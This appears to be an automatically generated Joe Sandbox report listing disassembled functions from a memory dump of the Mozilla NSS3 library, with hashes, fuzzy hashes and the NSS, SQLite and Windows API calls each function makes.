Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_$DecodeQuick$AllocateErrorValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 587344769-0
Opcode ID: af44f848594069048d7a6200c5502a40d9607f67c35e241f48d2cd3fc4ea68a3
Instruction ID: 5ee2997fff37f9d68b84ad98174a70a564085b43ab71514ee8548f9ba7b703a4
Opcode Fuzzy Hash: af44f848594069048d7a6200c5502a40d9607f67c35e241f48d2cd3fc4ea68a3
Instruction Fuzzy Hash: E4717D71D202569BDB40CF15CD41AAABBE4BF98308F194229E809D7B11E771EAD8CBD0

Function 6CAD0FE0 Relevance: 15.2, APIs: 10, Instructions: 192memorystringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAD1057
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CAD1085
PK11_GetAllTokens.NSS3 ref: 6CAD10B1
free.MOZGLUE(?), ref: 6CAD1107
PR_SetError.NSS3(00000000,00000000), ref: 6CAD1172
free.MOZGLUE(?), ref: 6CAD1182
free.MOZGLUE(?), ref: 6CAD11A6
SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6CAD11C5

Part of subcall function 6CAD52C0: TlsGetValue.KERNEL32(?,00000001,00000002,?,?,?,?,?,?,?,?,?,?,6CAAEAC5,00000001), ref: 6CAD52DF
Part of subcall function 6CAD52C0: EnterCriticalSection.KERNEL32(?), ref: 6CAD52F3
Part of subcall function 6CAD52C0: PR_Unlock.NSS3(?), ref: 6CAD5358

PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CAD11D3
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CAD11F3

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Utilfree$Alloc_Error$CriticalEnterEqual_ItemsK11_SectionTokensUnlockValuestrlen
String ID:
API String ID: 1549229083-0
Opcode ID: d752f2cae898cd31581e064d28caa45b58ad54a1acdef5712ecd4bde0fe30bf1
Instruction ID: eb73e99a072570bbd7562c76cf8eb503d067d0bc72a2e18fac45163c7095ef64
Opcode Fuzzy Hash: d752f2cae898cd31581e064d28caa45b58ad54a1acdef5712ecd4bde0fe30bf1
Instruction Fuzzy Hash: 416184B4E003459BDB00DFA4DD41BAEB7B5AF08758F194128EA19AB741E731F984CB91

Function 6CADADC0 Relevance: 15.1, APIs: 10, Instructions: 148COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6CABCDBB,?,6CABD079,00000000,00000001), ref: 6CADAE10
EnterCriticalSection.KERNEL32(?,?,6CABCDBB,?,6CABD079,00000000,00000001), ref: 6CADAE24
PR_Unlock.NSS3(?,?,?,?,?,?,6CABD079,00000000,00000001), ref: 6CADAE5A
memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CABCDBB,?,6CABD079,00000000,00000001), ref: 6CADAE6F
free.MOZGLUE(85145F8B,?,?,?,?,6CABCDBB,?,6CABD079,00000000,00000001), ref: 6CADAE7F
TlsGetValue.KERNEL32(?,6CABCDBB,?,6CABD079,00000000,00000001), ref: 6CADAEB1
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CABCDBB,?,6CABD079,00000000,00000001), ref: 6CADAEC9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6CABCDBB,?,6CABD079,00000000,00000001), ref: 6CADAEF1
free.MOZGLUE(6CABCDBB,?,?,?,?,?,?,?,?,?,?,?,?,?,6CABCDBB,?), ref: 6CADAF0B
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6CABCDBB,?,6CABD079,00000000,00000001), ref: 6CADAF30

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValuefree$memset
String ID:
API String ID: 161582014-0
Opcode ID: 4e73ca159282f188fa1ceffff0500e2d846f7f0ecd97625c4a3bc5f231fc56d8
Instruction ID: de5410802ba30f838d85202bb027bbd208832ce82f98635ee0561bd353660dbf
Opcode Fuzzy Hash: 4e73ca159282f188fa1ceffff0500e2d846f7f0ecd97625c4a3bc5f231fc56d8
Instruction Fuzzy Hash: 8A519EB5A01A12AFDB01DF29D884B5AB7B5FF08318F194664E81897B11E731FCA4CBD1

Function 6CAB4CA0 Relevance: 15.1, APIs: 10, Instructions: 142COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,?,6CABAB7F,?,00000000,?), ref: 6CAB4CB4
EnterCriticalSection.KERNEL32(0000001C,?,6CABAB7F,?,00000000,?), ref: 6CAB4CC8
TlsGetValue.KERNEL32(?,6CABAB7F,?,00000000,?), ref: 6CAB4CE0
EnterCriticalSection.KERNEL32(?,?,6CABAB7F,?,00000000,?), ref: 6CAB4CF4
PL_HashTableLookup.NSS3(?,?,?,6CABAB7F,?,00000000,?), ref: 6CAB4D03
PR_Unlock.NSS3(?,00000000,?), ref: 6CAB4D10

Part of subcall function 6CB3DD70: TlsGetValue.KERNEL32 ref: 6CB3DD8C
Part of subcall function 6CB3DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CB3DDB4

PR_Now.NSS3(?,00000000,?), ref: 6CAB4D26

Part of subcall function 6CB59DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CBA0A27), ref: 6CB59DC6
Part of subcall function 6CB59DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CBA0A27), ref: 6CB59DD1
Part of subcall function 6CB59DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CB59DED

PR_Unlock.NSS3(?,?,00000000,?), ref: 6CAB4D98
PR_Unlock.NSS3(?,?,?,00000000,?), ref: 6CAB4DDA
PR_Unlock.NSS3(?,?,?,?,00000000,?), ref: 6CAB4E02

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Unlock$CriticalSectionTimeValue$EnterSystem$FileHashLeaveLookupTableUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 4032354334-0
Opcode ID: fda45a1bf4eced04069f6672df87c0c7d3f29286274bc0c9b4d38524a77c580e
Instruction ID: 5c8dd3d5ca35b75dafa1adb43a4a13bf6c916684763fb0647cb2b08f0c162d79
Opcode Fuzzy Hash: fda45a1bf4eced04069f6672df87c0c7d3f29286274bc0c9b4d38524a77c580e
Instruction Fuzzy Hash: E741D8B5900215ABEB019F78ED44AAA77BCFF05258F084170EC1897B12FB31E9A8C7D1

Function 6CA9BFF0 Relevance: 15.1, APIs: 10, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CA9BFFB

Part of subcall function 6CAF0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CA987ED,00000800,6CA8EF74,00000000), ref: 6CAF1000
Part of subcall function 6CAF0FF0: PR_NewLock.NSS3(?,00000800,6CA8EF74,00000000), ref: 6CAF1016
Part of subcall function 6CAF0FF0: PL_InitArenaPool.NSS3(00000000,security,6CA987ED,00000008,?,00000800,6CA8EF74,00000000), ref: 6CAF102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000018C), ref: 6CA9C015

Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF10F3
Part of subcall function 6CAF10C0: EnterCriticalSection.KERNEL32(?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF110C
Part of subcall function 6CAF10C0: PL_ArenaAllocate.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1141
Part of subcall function 6CAF10C0: PR_Unlock.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1182
Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF119C

memset.VCRUNTIME140(-00000004,00000000,00000188), ref: 6CA9C032
DER_SetUInteger.NSS3(00000000,00000078,00000000), ref: 6CA9C04D

Part of subcall function 6CAE69E0: PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CAE6A47
Part of subcall function 6CAE69E0: memcpy.VCRUNTIME140(00000000,-00000005,00000001), ref: 6CAE6A64

DER_SetUInteger.NSS3(00000000,00000084,?), ref: 6CA9C064
CERT_CopyName.NSS3(00000000,000000A8,?), ref: 6CA9C07B

Part of subcall function 6CA98980: PORT_FreeArena_Util.NSS3(00000000,00000000,00000000,?,00000028,?,?,6CA97310), ref: 6CA989B8
Part of subcall function 6CA98980: PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000000,?,00000028,?,?,6CA97310), ref: 6CA989E6
Part of subcall function 6CA98980: PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000004,?), ref: 6CA98A00
Part of subcall function 6CA98980: CERT_CopyRDN.NSS3(00000004,00000000,6CA97310,?,?,00000004,?), ref: 6CA98A1B
Part of subcall function 6CA98980: PORT_ArenaGrow_Util.NSS3(00000004,00000000,?,?,?,?,?,?,?,00000004,?), ref: 6CA98A74

Part of subcall function 6CA91D10: PORT_FreeArena_Util.NSS3(000000B0,00000000,00000000,00000000,00000000,?,6CA9C097,00000000,000000B0,?), ref: 6CA91D2C
Part of subcall function 6CA91D10: SECITEM_CopyItem_Util.NSS3(000000B0,00000004,6CA9C09B,00000000,00000000,00000000,?,6CA9C097,00000000,000000B0,?), ref: 6CA91D3F
Part of subcall function 6CA91D10: SECITEM_CopyItem_Util.NSS3(000000B0,-00000010,6CA9C087,00000000,000000B0,?), ref: 6CA91D54

CERT_CopyName.NSS3(00000000,000000CC,?), ref: 6CA9C0AD
SECKEY_CopySubjectPublicKeyInfo.NSS3(00000000,-000000D4,?), ref: 6CA9C0C9

Part of subcall function 6CAA2DD0: SECOID_CopyAlgorithmID_Util.NSS3(-000000D4,-00000004,6CA9C0D2,6CA9C0CE,00000000,-000000D4,?), ref: 6CAA2DF5
Part of subcall function 6CAA2DD0: SECITEM_CopyItem_Util.NSS3(-000000D4,-0000001C,?,?,?,?,6CA9C0CE,00000000,-000000D4,?), ref: 6CAA2E27

CERT_DestroyCertificate.NSS3(00000000), ref: 6CA9C0D6
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CA9C0E3

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Util$Copy$Arena$Alloc_Arena_$FreeItem_$IntegerNameValue$AlgorithmAllocateCertificateCriticalDestroyEnterGrow_InfoInitLockPoolPublicSectionSubjectUnlockcallocmemcpymemset
String ID:
API String ID: 3955726912-0
Opcode ID: a0e100b580992dc40121ac9e8a0f33dfbfe694752f39d7853d339443a5b37f32
Instruction ID: 469fdd17faf4dcc252a4fbec9477d2610b67e4e10f6e5024b34bba10d7daa58d
Opcode Fuzzy Hash: a0e100b580992dc40121ac9e8a0f33dfbfe694752f39d7853d339443a5b37f32
Instruction Fuzzy Hash: 842165F295020567FB005A61AD82FFB32EC9B4175CF0C0134FD08DA646FB26D55D92B2

Function 6CA92E00 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CA92CDA,?,00000000), ref: 6CA92E1E

Part of subcall function 6CAEFD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6CA99003,?), ref: 6CAEFD91
Part of subcall function 6CAEFD80: PORT_Alloc_Util.NSS3(A4686CAF,?), ref: 6CAEFDA2
Part of subcall function 6CAEFD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686CAF,?,?), ref: 6CAEFDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6CA92E33

Part of subcall function 6CAEFD80: free.MOZGLUE(00000000,?,?), ref: 6CAEFDD1

TlsGetValue.KERNEL32 ref: 6CA92E4E
EnterCriticalSection.KERNEL32(?), ref: 6CA92E5E
PL_HashTableLookup.NSS3(?), ref: 6CA92E71
PL_HashTableRemove.NSS3(?), ref: 6CA92E84
PL_HashTableAdd.NSS3(?,00000000), ref: 6CA92E96
PR_Unlock.NSS3 ref: 6CA92EA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CA92EB6
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CA92EC5

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Util$HashItem_Table$Alloc_$CriticalEnterErrorLookupRemoveSectionUnlockValueZfreefreememcpy
String ID:
API String ID: 3332421221-0
Opcode ID: 9d4bece125449d31a60d9d03ad645c78cdf3bcfc3debd3b55ba2ec04f6eb866a
Instruction ID: d3098d630c6092ccc64cc1fdaabbea40cffa57fc0919cc1a0abfb67dafc43ef5
Opcode Fuzzy Hash: 9d4bece125449d31a60d9d03ad645c78cdf3bcfc3debd3b55ba2ec04f6eb866a
Instruction Fuzzy Hash: CD21F576A00144A7EF016E74FC4AE9A3EB9DB8234DF080130ED2887711F732D5A8D6A2

Function 6CA7FC50 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 233COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CA7FD18
sqlite3_initialize.NSS3 ref: 6CA7FD5F
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CA7FD89
memcpy.VCRUNTIME140(00000000,00000000,?), ref: 6CA7FD99
sqlite3_free.NSS3(00000000), ref: 6CA7FE3C
sqlite3_free.NSS3(?), ref: 6CA7FEE3
sqlite3_free.NSS3(?), ref: 6CA7FEEE

Strings

simple, xrefs: 6CA7FC79

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: sqlite3_free$sqlite3_initialize$memcpymemset
String ID: simple
API String ID: 1130978851-3246079234
Opcode ID: 6be109dc7038f1fbdd638642006907269d2d0609ce38d606be521a622d8f66d5
Instruction ID: 987d3ae2784da73947481284e41fb5848f5fa8328c70544364dc00c4ddce701d
Opcode Fuzzy Hash: 6be109dc7038f1fbdd638642006907269d2d0609ce38d606be521a622d8f66d5
Instruction Fuzzy Hash: 699182B4A05205CFDB14CF69CD80A6AB7B1FF85318F28C16DD8199BB52D731EA81CB60

Function 6CA85CE0 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 229COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CA85EC9
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000296F7,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CA85EED

Strings

API call with %s database connection pointer, xrefs: 6CA85EC3
misuse, xrefs: 6CA85EDB
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CA85ED1
unable to close due to unfinalized statements or unfinished backups, xrefs: 6CA85E64
%s at line %d of [%.10s], xrefs: 6CA85EE0
invalid, xrefs: 6CA85EBE

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse$unable to close due to unfinalized statements or unfinished backups
API String ID: 632333372-1982981357
Opcode ID: 5d7a0f0a904e20a785616ee319cf73e384d31cc8e9bfbcaa1e8f4bcbcb6c399f
Instruction ID: af0b46846b102c1d4a6814c676445070be574861b04a564d3a00559da9992229
Opcode Fuzzy Hash: 5d7a0f0a904e20a785616ee319cf73e384d31cc8e9bfbcaa1e8f4bcbcb6c399f
Instruction Fuzzy Hash: E5818D30B076129BFB19CE29C848BAA77B1BF41318F284269DC175BB51D730EC96CB91

Function 6CA6DCC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 225COMMON

Download Yara Rule

APIs

_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA6DDF9
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00012806,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CA6DE68
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001280D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CA6DE97
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6CA6DEB6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA6DF78

Strings

database corruption, xrefs: 6CA6DE5C, 6CA6DE8B
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CA6DE52, 6CA6DE81
%s at line %d of [%.10s], xrefs: 6CA6DE61, 6CA6DE90

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1526119172-598938438
Opcode ID: 622ce175ee7fc9e6ed06c7148a0f7058377c8933a00a0a44866207f473b9e05e
Instruction ID: 070a2a9efc0425f14b5070097d37895b5cee628e40c987686f1815f790551c50
Opcode Fuzzy Hash: 622ce175ee7fc9e6ed06c7148a0f7058377c8933a00a0a44866207f473b9e05e
Instruction Fuzzy Hash: 2681C471B053009FD714DF26C880B6A77F1AF45358F28882DE9998BE91E731E885C752

Function 6CA1CEC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 199COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A7E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6CA1B999), ref: 6CA1CFF3
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000109DA,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6CA1B999), ref: 6CA1D02B
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A70,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,00000000,?,?,6CA1B999), ref: 6CA1D041
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6CA1B999), ref: 6CB6972B

Strings

database corruption, xrefs: 6CA1CFE7, 6CA1D013, 6CA1D028, 6CA1D039, 6CA1D03E, 6CB69786
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CA1CFDD, 6CA1D00E, 6CA1D022, 6CA1D033, 6CB69780
%s at line %d of [%.10s], xrefs: 6CA1CFEC, 6CA1D018, 6CA1D029, 6CA1D03F, 6CB6978B

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: 0abc9e8e77749007bb729db272402f8fcf398cfc80839b2f5730a7ed8e310b06
Instruction ID: b3624bc258817c8b3837b2bbb29da64c78ed67fecf6039c7c8cce505250f9430
Opcode Fuzzy Hash: 0abc9e8e77749007bb729db272402f8fcf398cfc80839b2f5730a7ed8e310b06
Instruction Fuzzy Hash: 40612871A042508BD310CF29C941BA6B7F5EF55318F2881ADE4499FF42D376D987C7A1

Function 6CB1FFF0 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 192memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB25B40: PR_GetIdentitiesLayer.NSS3 ref: 6CB25B56

PK11_FreeSymKey.NSS3(00000000), ref: 6CB20113
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB20130
PORT_Alloc_Util.NSS3(00000040), ref: 6CB2015D
memcpy.VCRUNTIME140(-00000042,?,?), ref: 6CB201AF
PR_SetError.NSS3(FFFFD056,00000000), ref: 6CB20202
free.MOZGLUE(?), ref: 6CB20224
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB20253

Strings

exporter, xrefs: 6CB200F7

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Error$Alloc_FreeIdentitiesK11_LayerUtilfreememcpy
String ID: exporter
API String ID: 712147604-111224270
Opcode ID: 0fba6ae43dc5694e8ca1c1e2bb07be337025608473a497dd3b297a2523672aa7
Instruction ID: 233de017ce760dd7952b35e4dfddd3075c6e303c5e6c41efa8a9903df5ad67c6
Opcode Fuzzy Hash: 0fba6ae43dc5694e8ca1c1e2bb07be337025608473a497dd3b297a2523672aa7
Instruction Fuzzy Hash: 3261F0719007D99BEB018FA4EC10BFE77B6FF48308F144228F91E56A61EB35A954CB52

Function 6CB1EF30 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,?,6CB3A4A1,?,00000000,?,00000001), ref: 6CB1EF6D

Part of subcall function 6CB3C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB3C2BF

htonl.WSOCK32(00000000,?,6CB3A4A1,?,00000000,?,00000001), ref: 6CB1EFE4
